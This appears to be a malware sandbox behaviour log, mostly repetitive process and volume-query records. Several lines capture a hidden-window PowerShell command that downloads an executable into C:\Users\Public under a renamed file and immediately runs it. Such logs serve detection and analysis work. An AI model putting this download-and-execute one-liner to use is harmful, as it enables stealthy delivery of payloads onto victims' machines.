Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: unknown unknown
Source: C:\Users\Public\pin77.exeCode function: 12_2_0032C480 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorDacl,GetLastError,LocalFree,LocalFree,12_2_0032C480
Source: C:\Users\Public\pin77.exeCode function: 12_2_0032C620 DeleteObject,AllocateAndInitializeSid,AllocateAndInitializeSid,GetLastError,GetLastError,GetLastError,12_2_0032C620
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformationJump to behavior
